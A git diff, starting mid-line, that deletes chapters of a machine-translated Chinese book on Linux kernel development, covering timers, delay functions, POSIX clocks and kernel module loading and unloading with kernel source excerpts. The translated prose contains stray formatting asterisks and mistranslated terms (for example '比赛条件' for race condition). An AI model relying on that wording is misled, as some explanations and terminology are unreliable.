tick。根据配置,该`clock_event_device`可能是基于`periodic`*`one-shot,`或`ktime`的*。*在这三种模式中,通过`unsigned int features`字段,使用以下任一宏设置滴答装置的适当操作模式:* - -```sh -#define CLOCK_EVT_FEAT_PERIODIC 0x000001 -#define CLOCK_EVT_FEAT_ONESHOT 0x000002 -#define CLOCK_EVT_FEAT_KTIME 0x000004 -``` - -周期模式配置硬件每 *1/HZ* 秒产生一次滴答,而单次模式使硬件从当前时间经过特定数量的周期后产生滴答。 - -根据用例和操作模式,event_handler 可以是以下三种例程中的任何一种: - -* `tick_handle_periodic()` *、*是周期性滴答的默认处理程序,在`kernel/time/tick-common.c` *中定义。* -* `tick_nohz_handler()`是低分辨率中断处理程序,用于低分辨率模式。在`kernel/time/tick-sched.c` *中有定义。* -* `hrtimer_interrupt()`用于高分辨率模式,在`kernel/time/hrtimer.c`中定义。调用中断时,中断被禁用。 - -时钟事件设备通过在`kernel/time/clockevents.c.`中定义的例程`clockevents_config_and_register()`进行配置和注册 - -# 滴答装置 - -`clock_event_device`抽象为核心时序框架;我们需要对每个 CPU 的 tick 设备进行单独的抽象;这通过分别在`kernel/time/tick-sched.h`和`include/linux/percpu-defs.h`中定义的结构`struct tick_device`和宏`DEFINE_PER_CPU()` *、*来实现: - -```sh -enum tick_device_mode { - TICKDEV_MODE_PERIODIC, - TICKDEV_MODE_ONESHOT, -}; - -struct tick_device { - struct clock_event_device *evtdev; - enum tick_device_mode mode; -} -``` - -A `tick_device`可以是周期性的,也可以是一次性的。它是通过`enum tick_device_mode` *设定的。* - -# 软件定时器和延迟功能 - -软件定时器允许在持续时间到期时调用某个功能。有两种类型的计时器:内核使用的动态计时器和用户空间进程使用的间隔计时器。除了软件定时器之外,还有另一种常用的定时功能,称为延迟功能。延迟函数实现一个精确的循环,该循环根据(通常是)延迟函数的参数执行。 - -# 动态计时器 - -动态计时器可以随时创建和销毁,因此得名动态计时器。动态计时器由`include/linux/timer.h`中定义的`struct timer_list`对象表示: - -```sh -struct timer_list { - /* - * Every field that changes during normal runtime grouped to the - * same cacheline - */ - struct hlist_node entry; - unsigned long expires; - void (*function)(unsigned long); - unsigned long data; - u32 flags; - -#ifdef CONFIG_LOCKDEP - struct lockdep_map lockdep_map; -#endif -}; -``` - -系统中的所有定时器都由一个双向链表管理,并按照它们的到期时间排序,由 expires 字段表示。expires 字段指定定时器到期的持续时间。一旦当前`jiffies`值匹配或超过该字段的值,定时器就会衰减。通过输入字段,一个定时器被添加到这个定时器链表中。函数字段指向定时器到期时要调用的例程,数据字段保存要传递给函数的参数(如果需要)。过期字段不断与`jiffies_64`值进行比较,以确定计时器是否已过期。 - -动态计时器可以如下创建和激活: - -* 创建一个新的`timer_list`对象,比如说`t_obj`。 -* 使用宏`init_timer(&t_obj)`初始化该定时器对象,在`include/linux/timer.h.`中定义 -* 用定时器到期时要调用的函数地址初始化函数字段。如果函数需要参数,也要初始化数据字段。 -* 如果计时器对象已经添加到计时器列表中,则通过调用在`kernel/time/timer.c` *中定义的函数`mod_timer(&t_obj, )`*来更新过期字段。** -** 如果没有,初始化 expires 字段,并使用在`/kernel/time/timer.c` *中定义的`add_timer(&t_obj)`*将定时器对象添加到定时器列表中。*** - - **内核会自动从定时器列表中删除一个失效的定时器,但是也有其他方法可以从列表中删除一个定时器。`del_timer()`和`del_timer_sync()`例程以及`kernel/time/timer.c`中定义的宏`del_singleshot_timer_sync()`有助于做到这一点: - -```sh -int del_timer(struct timer_list *timer) -{ - struct tvec_base *base; - unsigned long flags; - int ret = 0; - - debug_assert_init(timer); - - timer_stats_timer_clear_start_info(timer); - if (timer_pending(timer)) { - base = lock_timer_base(timer, &flags); - if (timer_pending(timer)) { - detach_timer(timer, 1); - if (timer->expires == base->next_timer && - !tbase_get_deferrable(timer->base)) - base->next_timer = base->timer_jiffies; - ret = 1; - } - spin_unlock_irqrestore(&base->lock, flags); - } - - return ret; -} - -int del_timer_sync(struct timer_list *timer) -{ -#ifdef CONFIG_LOCKDEP - unsigned long flags; - - /* - * If lockdep gives a backtrace here, please reference - * the synchronization rules above. - */ - local_irq_save(flags); - lock_map_acquire(&timer->lockdep_map); - lock_map_release(&timer->lockdep_map); - local_irq_restore(flags); -#endif - /* - * don't use it in hardirq context, because it - * could lead to deadlock. - */ - WARN_ON(in_irq()); - for (;;) { - int ret = try_to_del_timer_sync(timer); - if (ret >= 0) - return ret; - cpu_relax(); - } -} - -#define del_singleshot_timer_sync(t) del_timer_sync(t) -``` - -`del_timer()`删除活动和非活动计时器。在 SMP 系统中特别有用,`del_timer_sync()`停用定时器并等待,直到处理程序在其他 CPU 上完成执行。 - -# 带有动态计时器的比赛条件 - -删除计时器时,必须特别小心,因为计时器函数可能正在操作一些动态不可分配的资源。如果在停用计时器之前释放资源,则当它所操作的资源根本不存在时,计时器功能有可能被调用,从而导致数据损坏。因此,为了避免这种情况,必须在释放任何资源之前停止计时器。下面的代码片段复制了这种情况;`RESOURCE_DEALLOCATE()`这里可以是任何相关的资源解除分配例程: - -```sh -... -del_timer(&t_obj); -RESOURCE_DEALLOCATE(); -.... -``` - -然而,这种方法仅适用于单处理器系统。在 SMP 系统中,很有可能当计时器停止时,它的功能可能已经在另一个 CPU 上运行。在这样的场景下,`del_timer()`一返回,资源就会被释放,而定时器功能还在其他 CPU 上操纵;一点也不理想。`del_timer_sync()`修复了这个问题:停止定时器后,等待直到定时器功能在另一个 CPU 上完成执行。`del_timer_sync()`在定时器功能可以自动重启的情况下很有用。如果定时器功能没有重新激活定时器,应该使用更简单更快速的宏`del_singleshot_timer_sync()`。 - -# 动态定时器处理 - -软件计时器复杂且耗时,因此不应由计时器 ISR 处理。相反,它们应该由一个称为`TIMER_SOFTIRQ`*的可推迟的下半部分软 irq 例程来执行,其例程在`kernel/time/timer.c`中定义:* - -```sh -static __latent_entropy void run_timer_softirq(struct softirq_action *h) -{ - struct timer_base *base = this_cpu_ptr(&timer_bases[BASE_STD]); - - base->must_forward_clk = false; - - __run_timers(base); - if (IS_ENABLED(CONFIG_NO_HZ_COMMON) && base->nohz_active) - __run_timers(this_cpu_ptr(&timer_bases[BASE_DEF])); -} -``` - -# 延迟函数 - -当超时时间相对较长时,计时器很有用;在需要较短持续时间的所有其他使用情况下,使用延迟函数来代替。在处理存储设备(即*闪存*和 *EEPROM* )等硬件时,设备驱动程序必须等到设备完成写入和擦除等硬件操作,这一点至关重要,在大多数情况下,这一时间范围在几微秒到几毫秒之间。继续执行其他指令而不等待硬件完成这些操作将导致不可预测的读/写操作和数据损坏。在这种情况下,延迟函数就派上了用场。内核通过`ndelay()`*`udelay()`和`mdelay()`例程和宏提供如此短的延迟,它们分别接收纳秒、微秒和毫秒的参数。* - - *在`include/linux/delay.h`中可以找到以下功能: - -```sh -static inline void ndelay(unsigned long x) -{ - udelay(DIV_ROUND_UP(x, 1000)); -} -``` - -这些功能可以在`arch/ia64/kernel/time.c`中找到: - -```sh -static void -ia64_itc_udelay (unsigned long usecs) -{ - unsigned long start = ia64_get_itc(); - unsigned long end = start + usecs*local_cpu_data->cyc_per_usec; - - while (time_before(ia64_get_itc(), end)) - cpu_relax(); -} - -void (*ia64_udelay)(unsigned long usecs) = &ia64_itc_udelay; - -void -udelay (unsigned long usecs) -{ - (*ia64_udelay)(usecs); -} -``` - -# POSIX 时钟 - -POSIX 为多线程和实时用户空间应用提供软件定时器,称为 POSIX 定时器。POSIX 提供以下时钟: - -* `CLOCK_REALTIME`:这个时钟代表系统中的实时。也称为挂钟时间,它类似于挂钟上的时间,用于时间戳以及向用户提供实际时间。这个钟是可以修改的。 - -* `CLOCK_MONOTONIC`:该时钟记录系统启动后经过的时间。它不断增加,并且不可由任何进程或用户修改。由于其单调性,它是确定两个时间事件之间时间差的首选时钟。 - -* `CLOCK_BOOTTIME`:该时钟与 CLOCK_MONOTONIC 相同;但是,它包括暂停所花费的时间。 - -这些时钟可以通过以下 POSIX 时钟例程来访问和修改(如果所选时钟允许的话),这些例程在`time.h`标题中定义: - -* `int clock_getres(clockid_t clk_id, struct timespec *res);` -* `int clock_gettime(clockid_t clk_id, struct timespec *tp);` -* `int clock_settime(clockid_t clk_id, const struct timespec *tp);` - -功能`clock_getres()`获取 *clk_id* 指定的时钟分辨率(精度)。如果分辨率为非空,则存储在分辨率指向的`struct timespec`中。功能`clock_gettime()`和`clock_settime()`读取并设置 *clk_id* 指定的时钟时间。 *clk_id* 可以是任何一个 POSIX 时钟:`CLOCK_REALTIME`、`CLOCK_MONOTONIC`等等。 - -`CLOCK_REALTIME_COARSE` - -`CLOCK_MONOTONIC_COARSE` - -这些 POSIX 例程都有相应的系统调用,即`sys_clock_getres(), sys_ clock_gettime()`和`sys_clock_settime` *。*所以每次调用这些例程时,都会发生从用户模式到内核模式的上下文切换。如果频繁调用这些例程,上下文切换会导致系统性能低下。为了避免上下文切换,POSIX 时钟的两个粗略变体被实现为 vDSO(虚拟动态共享对象)库: - -vDSO 是一个带有选定内核空间例程的小型共享库,内核将这些例程映射到用户空间应用的地址空间中,以便这些内核空间例程可以由它们在进程中从用户空间直接调用。C 库调用 vDSO,因此用户空间应用可以通过标准函数以通常的方式进行编程,C 库将利用 vDSO 提供的功能,而无需使用任何系统调用接口,从而避免任何用户模式-内核模式上下文切换和系统调用开销。作为一个 vDSO 实现,这些粗糙的变体速度更快,分辨率为 1 毫秒。 - -# 摘要 - -在这一章中,除了理解 Linux 时间的基本方面、它的基础设施和它的度量之外,我们还详细研究了内核提供的驱动基于时间的事件的大多数例程。我们还简要地看了 POSIX 时钟及其一些关键的时间访问和修改例程。然而,有效的时间驱动程序依赖于这些例程的仔细和计算的使用。 - -在下一章中,我们将简要介绍动态内核模块的管理。************ \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/11.md b/docs/master-linux-kernel-dev/11.md deleted file mode 100644 index e81da7f7..00000000 --- a/docs/master-linux-kernel-dev/11.md +++ /dev/null @@ -1,533 +0,0 @@ -# 十一、模块管理 - -内核模块(也称为 LKMs)由于其易用性而强调了内核服务的开发。在本章中,我们的重点将是理解内核如何无缝地促进整个过程,使模块的加载和卸载变得动态和容易,因为我们查看了模块管理中涉及的所有核心概念、功能和重要数据结构。我们假设读者熟悉模块的基本用法。 - -在本章中,我们将涵盖以下主题: - -* 内核模块的关键元素 -* 模块布局 -* 模块加载和卸载接口 -* 关键数据结构 - -# 内核模块 - -内核模块是一种简单有效的机制,可以扩展正在运行的系统的功能,而不需要重新构建整个内核,它们对于为 Linux 操作系统带来活力和可扩展性至关重要。内核模块不仅满足了内核的可扩展性,还引入了以下功能: - -* 允许内核只保留必要的功能,从而提高容量利用率 -* 允许加载和卸载专有/不符合 GPL 的服务 -* 内核可扩展性的基本特征 - -# LKM 的元素 - -每个模块对象包括*初始化(构造器)*和*退出(析构器)*例程。当模块被部署到内核地址空间时,调用*初始化*例程,当模块被移除时,调用*退出*例程。顾名思义, *init* 例程通常被编程为执行对建立模块主体至关重要的操作和动作:例如向特定的内核子系统注册或分配对加载的功能至关重要的资源。然而,在*初始化*和*退出*例程中编程的具体操作取决于模块的设计目的和它给内核带来的功能。以下代码摘录显示了*初始化*和*退出*例程的模板: - -```sh -int init_module(void) -{ - /* perform required setup and registration ops */ - ... - ... - return 0; -} - -void cleanup_module(void) -{ - /* perform required cleanup operations */ - ... - ... -} -``` - -注意 *init* 例程返回一个整数——如果模块提交到内核地址空间,则返回一个零,如果失败,则返回一个负数。这还为程序员提供了灵活性,只有当模块成功注册到所需的子系统时,他们才能提交模块。 - -初始化和退出例程的默认名称分别是`init_module()`和`cleanup_module()`。模块可以选择更改*初始化*和*退出*例程的名称,以提高代码可读性。但是,他们必须使用`module_init`和`module_exit`宏来声明它们: - -```sh -int myinit(void) -{ - ... - ... - return 0; -} - -void myexit(void) -{ - ... - ... -} - -module_init(myinit); -module_exit(myexit); -``` - -注释宏是模块代码的另一个关键元素。这些宏用于提供模块的使用、许可和作者信息。这一点很重要,因为模块来自不同的供应商: - -* `MODULE_DESCRIPTION()`:此宏用于指定模块的一般描述 -* `MODULE_AUTHOR()`:用于提供作者信息 -* `MODULE_LICENSE()`:用于指定模块中代码的合法许可 - -通过这些宏指定的所有信息都保留在模块二进制文件中,用户可以通过名为 *modinfo* 的实用程序访问这些信息。`MODULE_LICENSE()`是模块必须提到的唯一强制宏。这有一个非常方便的目的,因为它通知用户模块中的专有代码,这容易受到调试和支持问题的影响(内核社区很可能会忽略由专有模块引起的问题)。 - -模块的另一个有用特性是使用模块参数动态初始化模块数据变量。这允许在模块部署期间或者当模块在内存中*运行*时(通过 sysfs 接口)初始化模块中声明的数据变量。这可以通过适当的`module_param()`宏族(位于内核头``中)将选定的变量设置为模块参数来实现。在调用*初始化*功能之前,在模块部署期间传递给模块参数的值被初始化。 - -模块中的代码可以根据需要访问全局内核函数和数据。这使得模块的代码能够利用现有的内核功能。正是通过这样的函数调用,模块可以执行所需的操作,例如将消息打印到内核日志缓冲区,分配和取消分配内存,获取和释放排除锁,以及向适当的子系统注册和注销模块代码。 - -同样,模块也可以将其符号导出到内核的全局符号表中,然后可以从其他模块中的代码访问该表。这有助于内核服务的粒度设计和实现,方法是跨一组模块组织它们,而不是将整个服务实现为单个 LKM。相关服务的这种堆叠导致了模块依赖,例如:如果模块 A 正在使用模块 B 的符号,那么 A 对 B 有依赖,在这种情况下,模块 B 必须在模块 A 之前被加载,并且在模块 A 被卸载之前模块 B 不能被卸载。 - -# LKM 的二元布局 - -模块是使用 kbuild makefiles 构建的;一旦构建过程完成,就会生成一个带有*的 ELF 二进制文件。ko* (内核对象)扩展生成。对模块 ELF 二进制文件进行了适当的调整,以添加新的部分,将它们与其他 ELF 二进制文件区分开来,并存储与模块相关的元数据。以下是内核模块中的部分: - -| `.gnu.linkonce.this_module` | 模块结构 | -| `.modinfo` | 关于模块的信息(许可证等) | -| `__versions` | 编译时模块所依赖的符号的预期版本 | -| `__ksymtab*` | 此模块导出的符号表 | -| `__kcrctab*` | 此模块导出的符号版本表 | -| `.init` | 初始化时使用的部分 | -| `.text, .data etc.` | 代码和数据部分 | - -# 装载和卸载操作 - -模块可以通过特殊的工具进行部署,这些工具是名为 *modutils 的应用包的一部分,其中 *insmod* 和 *rmmod* 被广泛使用。 *insmod* 用于将模块部署到内核地址空间中, *rmmod* 用于卸载一个活动模块。这些工具通过调用适当的系统调用来启动加载/卸载操作:* - -```sh -int finit_module(int fd, const char *param_values, int flags); -int delete_module(const char *name, int flags); -``` - -这里,`finit_module()`由`insmod`用指定模块二进制文件的文件描述符调用。ko)和其他相关论据。该函数通过调用底层系统调用进入内核模式: - -```sh -SYSCALL_DEFINE3(finit_module, int, fd, const char __user *, uargs, int, flags) -{ - struct load_info info = { }; - loff_t size; - void *hdr; - int err; - - err = may_init_module(); - if (err) - return err; - - pr_debug("finit_module: fd=%d, uargs=%p, flags=%i\n", fd, uargs, flags); - - if (flags & ~(MODULE_INIT_IGNORE_MODVERSIONS - |MODULE_INIT_IGNORE_VERMAGIC)) - return -EINVAL; - - err = kernel_read_file_from_fd(fd, &hdr, &size, INT_MAX, - READING_MODULE); - if (err) - return err; - info.hdr = hdr; - info.len = size; - - return load_module(&info, uargs, flags); -} -``` - -这里调用`may_init_module()`验证调用上下文的`CAP_SYS_MODULE`权限;该函数在失败时返回负数,在成功时返回零。如果调用者具有所需的权限,则通过 *fd* 使用`kernel_read_file_from_fd()`例程访问指定的模块映像,该例程返回模块映像的地址,该地址被填充到`struct load_info`的实例中。最后,`load_module()`核心内核例程使用`load_info`实例的地址和从`finit_module()`调用传递下来的其他用户参数来调用: - -```sh -static int load_module(struct load_info *info, const char __user *uargs,int flags) -{ - struct module *mod; - long err; - char *after_dashes; - - err = module_sig_check(info, flags); - if (err) - goto free_copy; - - err = elf_header_check(info); - if (err) - goto free_copy; - - /* Figure out module layout, and allocate all the memory. */ - mod = layout_and_allocate(info, flags); - if (IS_ERR(mod)) { - err = PTR_ERR(mod); - goto free_copy; - } - - .... - .... - .... - -} -``` - -这里,`load_module()`是试图将模块映像链接到内核地址空间的核心内核例程。该函数启动一系列健全性检查,最后通过将模块参数初始化为调用者提供的值来提交模块,并调用模块的 *init* 函数。以下步骤用调用的相关帮助函数的名称详细描述了这些操作: - -* 检查签名(`module_sig_check()`) -* 检查 ELF 标题(`elf_header_check()`) -* 检查模块布局并分配必要的内存(`layout_and_allocate()`) -* 将模块追加到模块列表中(`add_unformed_module()`) -* 分配模块中使用的每 cpu 区域(`percpu_modalloc()`) -* 当模块处于最终位置时,找到可选部分(`find_module_sections()`) -* 检查模块许可证和版本(`check_module_license_and_versions()`) -* 解析符号(`simplify_symbols()`) -* 根据参数列表中传递的值设置模块参数 -* 检查符号的重复(`complete_formation()`) -* 设置系统文件(`mod_sysfs_setup()`) -* 释放*加载信息*结构(`free_copy()`)中的副本 -* 调用模块的*初始化*功能(`do_init_module()`) - -卸载过程与装载过程非常相似;唯一不同的是,有一定的健全性检查,以确保模块从内核中安全移除,而不影响系统稳定性。模块的卸载通过调用 *rmmod* 实用程序来初始化,该实用程序调用`delete_module()`例程,该例程进入底层系统调用: - -```sh -SYSCALL_DEFINE2(delete_module, const char __user *, name_user, - unsigned int, flags) -{ - struct module *mod; - char name[MODULE_NAME_LEN]; - int ret, forced = 0; - - if (!capable(CAP_SYS_MODULE) || modules_disabled) - return -EPERM; - - if (strncpy_from_user(name, name_user, MODULE_NAME_LEN-1) < 0) - return -EFAULT; - name[MODULE_NAME_LEN-1] = '\0'; - - audit_log_kern_module(name); - - if (mutex_lock_interruptible(&module_mutex) != 0) - return -EINTR; - - mod = find_module(name); - if (!mod) { - ret = -ENOENT; - goto out; - } - - if (!list_empty(&mod->source_list)) { - /* Other modules depend on us: get rid of them first. */ - ret = -EWOULDBLOCK; - goto out; - } - - /* Doing init or already dying? */ - if (mod->state != MODULE_STATE_LIVE) { - /* FIXME: if (force), slam module count damn the torpedoes */ - pr_debug("%s already dying\n", mod->name); - ret = -EBUSY; - goto out; - } - - /* If it has an init func, it must have an exit func to unload */ - if (mod->init && !mod->exit) { - forced = try_force_unload(flags); - if (!forced) { - /* This module can't be removed */ - ret = -EBUSY; - goto out; - } - } - - /* Stop the machine so refcounts can't move and disable module. */ - ret = try_stop_module(mod, flags, &forced); - if (ret != 0) - goto out; - - mutex_unlock(&module_mutex); - /* Final destruction now no one is using it. */ - if (mod->exit != NULL) - mod->exit(); - blocking_notifier_call_chain(&module_notify_list, - MODULE_STATE_GOING, mod); - klp_module_going(mod); - ftrace_release_mod(mod); - - async_synchronize_full(); - - /* Store the name of the last unloaded module for diagnostic purposes */ - strlcpy(last_unloaded_module, mod->name, sizeof(last_unloaded_module)); - - free_module(mod); - return 0; -out: - mutex_unlock(&module_mutex); - return ret; -} -``` - -在调用时,系统调用检查调用方是否有必要的权限,然后检查任何模块依赖关系。如果没有,模块可以被移除(否则,返回错误)。之后,验证模块状态(*实时)*。最后调用模块的退出例程,最后调用`free_module()`例程: - -```sh -/* Free a module, remove from lists, etc. */ -static void free_module(struct module *mod) -{ - trace_module_free(mod); - - mod_sysfs_teardown(mod); - - /* We leave it in list to prevent duplicate loads, but make sure - * that no one uses it while it's being deconstructed. */ - mutex_lock(&module_mutex); - mod->state = MODULE_STATE_UNFORMED; - mutex_unlock(&module_mutex); - - /* Remove dynamic debug info */ - ddebug_remove_module(mod->name); - - /* Arch-specific cleanup. */ - module_arch_cleanup(mod); - - /* Module unload stuff */ - module_unload_free(mod); - - /* Free any allocated parameters. */ - destroy_params(mod->kp, mod->num_kp); - - if (is_livepatch_module(mod)) - free_module_elf(mod); - - /* Now we can delete it from the lists */ - mutex_lock(&module_mutex); - /* Unlink carefully: kallsyms could be walking list. */ - list_del_rcu(&mod->list); - mod_tree_remove(mod); - /* Remove this module from bug list, this uses list_del_rcu */ - module_bug_cleanup(mod); - /* Wait for RCU-sched synchronizing before releasing mod->list and buglist. */ - synchronize_sched(); - mutex_unlock(&module_mutex); - - /* This may be empty, but that's OK */ - disable_ro_nx(&mod->init_layout); - module_arch_freeing_init(mod); - module_memfree(mod->init_layout.base); - kfree(mod->args); - percpu_modfree(mod); - - /* Free lock-classes; relies on the preceding sync_rcu(). */ - lockdep_free_key_range(mod->core_layout.base, mod->core_layout.size); - - /* Finally, free the core (containing the module structure) */ - disable_ro_nx(&mod->core_layout); - module_memfree(mod->core_layout.base); - -#ifdef CONFIG_MPU - update_protections(current->mm); -#endif -} -``` - -该调用从加载过程中放置模块的各种列表(sysfs、模块列表等)中移除模块,以启动清理。调用特定于架构的清理例程(可在`/kernel/module.c>` *)* 中找到)。所有依赖模块都被迭代,并且该模块从它们的列表中被移除。一旦清理结束,分配给该模块的所有资源和内存都将被释放。 - -# 模块数据结构 - -部署在内核中的每个模块通常都通过一个描述符来表示,称为`struct module`。内核维护一个模块实例列表,每个实例代表内存中的一个特定模块: - -```sh -struct module { - enum module_state state; - - /* Member of list of modules */ - struct list_head list; - - /* Unique handle for this module */ - char name[MODULE_NAME_LEN]; - - /* Sysfs stuff. */ - struct module_kobject mkobj; - struct module_attribute *modinfo_attrs; - const char *version; - const char *srcversion; - struct kobject *holders_dir; - - /* Exported symbols */ - const struct kernel_symbol *syms; - const s32 *crcs; - unsigned int num_syms; - - /* Kernel parameters. */ -#ifdef CONFIG_SYSFS - struct mutex param_lock; -#endif - struct kernel_param *kp; - unsigned int num_kp; - - /* GPL-only exported symbols. */ - unsigned int num_gpl_syms; - const struct kernel_symbol *gpl_syms; - const s32 *gpl_crcs; - -#ifdef CONFIG_UNUSED_SYMBOLS - /* unused exported symbols. */ - const struct kernel_symbol *unused_syms; - const s32 *unused_crcs; - unsigned int num_unused_syms; - - /* GPL-only, unused exported symbols. */ - unsigned int num_unused_gpl_syms; - const struct kernel_symbol *unused_gpl_syms; - const s32 *unused_gpl_crcs; -#endif - -#ifdef CONFIG_MODULE_SIG - /* Signature was verified. */ - bool sig_ok; -#endif - - bool async_probe_requested; - - /* symbols that will be GPL-only in the near future. */ - const struct kernel_symbol *gpl_future_syms; - const s32 *gpl_future_crcs; - unsigned int num_gpl_future_syms; - - /* Exception table */ - unsigned int num_exentries; - struct exception_table_entry *extable; - - /* Startup function. */ - int (*init)(void); - - /* Core layout: rbtree is accessed frequently, so keep together. */ - struct module_layout core_layout __module_layout_align; - struct module_layout init_layout; - - /* Arch-specific module values */ - struct mod_arch_specific arch; - - unsigned long taints; /* same bits as kernel:taint_flags */ - -#ifdef CONFIG_GENERIC_BUG - /* Support for BUG */ - unsigned num_bugs; - struct list_head bug_list; - struct bug_entry *bug_table; -#endif - -#ifdef CONFIG_KALLSYMS - /* Protected by RCU and/or module_mutex: use rcu_dereference() */ - struct mod_kallsyms *kallsyms; - struct mod_kallsyms core_kallsyms; - - /* Section attributes */ - struct module_sect_attrs *sect_attrs; - - /* Notes attributes */ - struct module_notes_attrs *notes_attrs; -#endif - - /* The command line arguments (may be mangled). People like - keeping pointers to this stuff */ - char *args; - -#ifdef CONFIG_SMP - /* Per-cpu data. */ - void __percpu *percpu; - unsigned int percpu_size; -#endif - -#ifdef CONFIG_TRACEPOINTS - unsigned int num_tracepoints; - struct tracepoint * const *tracepoints_ptrs; -#endif -#ifdef HAVE_JUMP_LABEL - struct jump_entry *jump_entries; - unsigned int num_jump_entries; -#endif -#ifdef CONFIG_TRACING - unsigned int num_trace_bprintk_fmt; - const char **trace_bprintk_fmt_start; -#endif -#ifdef CONFIG_EVENT_TRACING - struct trace_event_call **trace_events; - unsigned int num_trace_events; - struct trace_enum_map **trace_enums; - unsigned int num_trace_enums; -#endif -#ifdef CONFIG_FTRACE_MCOUNT_RECORD - unsigned int num_ftrace_callsites; - unsigned long *ftrace_callsites; -#endif - -#ifdef CONFIG_LIVEPATCH - bool klp; /* Is this a livepatch module? */ - bool klp_alive; - - /* Elf information */ - struct klp_modinfo *klp_info; -#endif - -#ifdef CONFIG_MODULE_UNLOAD - /* What modules depend on me? */ - struct list_head source_list; - /* What modules do I depend on? */ - struct list_head target_list; - - /* Destruction function. */ - void (*exit)(void); - - atomic_t refcnt; -#endif - -#ifdef CONFIG_CONSTRUCTORS - /* Constructor functions. */ - ctor_fn_t *ctors; - unsigned int num_ctors; -#endif -} ____cacheline_aligned; -``` - -现在让我们看看这个结构的一些关键领域: - -* `list`:这是包含内核中所有加载模块的双链表。 -* `name`:指定模块的名称。这必须是一个唯一的名称,因为模块是用这个名称引用的。 -* `state`:表示模块当前状态。模块可以处于*<【Linux/module . h】>*下的`enum module_state`中指定的任一状态: - -```sh -enum module_state { - MODULE_STATE_LIVE, /* Normal state. */ - MODULE_STATE_COMING, /* Full formed, running module_init. */ - MODULE_STATE_GOING, /* Going away. */ - MODULE_STATE_UNFORMED, /* Still setting it up. */ -}; -``` - -加载或移除模块时,了解其当前状态很重要;例如,如果一个现有模块的状态指定它已经存在,我们就不需要插入它。 - -`syms, crc and num_syms`:用于管理模块代码导出的符号。 - -`init`:这是模块初始化时调用的函数的指针。 - -`arch`:这表示架构特定的结构,该结构应填充模块运行所需的架构特定的数据。然而,这个结构大部分仍然是空的,因为大多数架构不需要任何额外的信息。 - -`taints`:如果模块正在污染内核,则使用该选项。这可能意味着内核怀疑某个模块做了一些有害的事情,或者是非 GPL 投诉代码。 - -`percpu`:这指向属于该模块的每 CPU 数据。它在模块加载时初始化。 - -`source_list and target_list`:这携带了模块依赖关系的细节。 - -`exit`:这简直就是 init 的反义词。它指向被调用来执行模块清理过程的函数。它释放模块中的内存,并执行其他特定于清理的任务。 - -# 存储配置 - -一个模块的内存布局通过一个对象`struct module_layout`显示,该对象在 *< linux/module.h >* 中定义: - -```sh -struct module_layout { - /* The actual code + data. */ - void *base; - /* Total size. */ - unsigned int size; - /* The size of the executable code. */ - unsigned int text_size; - /* Size of RO section of the module (text+rodata) */ - unsigned int ro_size; - -#ifdef CONFIG_MODULES_TREE_LOOKUP - struct mod_tree_node mtn; -#endif -}; -``` - -# 摘要 - -在本章中,我们简要介绍了模块的所有核心元素、其含义和管理细节。我们的尝试仍然是让您快速全面地了解内核如何通过模块促进其可扩展性。您还了解了有助于模块管理的核心数据结构。内核试图在这种动态环境中保持安全和稳定也是一个显著的特征。 - -我真的希望这本书能成为你走出去,更多地体验 Linux 内核的一种手段! \ No newline at end of file diff --git a/docs/master-linux-kernel-dev/README.md b/docs/master-linux-kernel-dev/README.md deleted file mode 100644 index 84acf8da..00000000 --- a/docs/master-linux-kernel-dev/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# 精通 Linux 内核开发 - -> 原文:[Mastering Linux Kernel Development](https://libgen.rs/book/index.php?md5=B50238228DC7DE75D9C3CCE2886AAED2) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/master-linux-kernel-dev/SUMMARY.md b/docs/master-linux-kernel-dev/SUMMARY.md deleted file mode 100644 index 3201e3b8..00000000 --- a/docs/master-linux-kernel-dev/SUMMARY.md +++ /dev/null @@ -1,13 +0,0 @@ -+ [精通 Linux 内核开发](README.md) -+ [零、前言](00.md) -+ [一、理解进程、地址空间和线程](01.md) -+ [二、拆解进程调度器](02.md) -+ [三、信号管理](03.md) -+ [四、内存管理和分配器](04.md) -+ [五、文件系统和文件 I/O](05.md) -+ [六、进程间通信](06.md) -+ [七、虚拟内存管理](07.md) -+ [八、内核同步和锁定](08.md) -+ [九、中断和延迟](09.md) -+ [十、时钟和时间管理](10.md) -+ [十一、模块管理](11.md) diff --git a/docs/master-linux-net-admin/00.md b/docs/master-linux-net-admin/00.md deleted file mode 100644 index 6da293a3..00000000 --- a/docs/master-linux-net-admin/00.md +++ /dev/null @@ -1,129 +0,0 @@ -# 零、前言 - -在这本书中,我们将学习管理真正的基于 linux 的网络所需要的概念。 我们的目标是帮助读者从初学者或中级 Linux 用户成长为能够管理和支持真正的基于 Linux 的网络的人。 本书以几个介绍性章节开始,在这些章节中,读者将设置他们的环境,然后刷新一些基础知识,作为本书其余部分的基础。 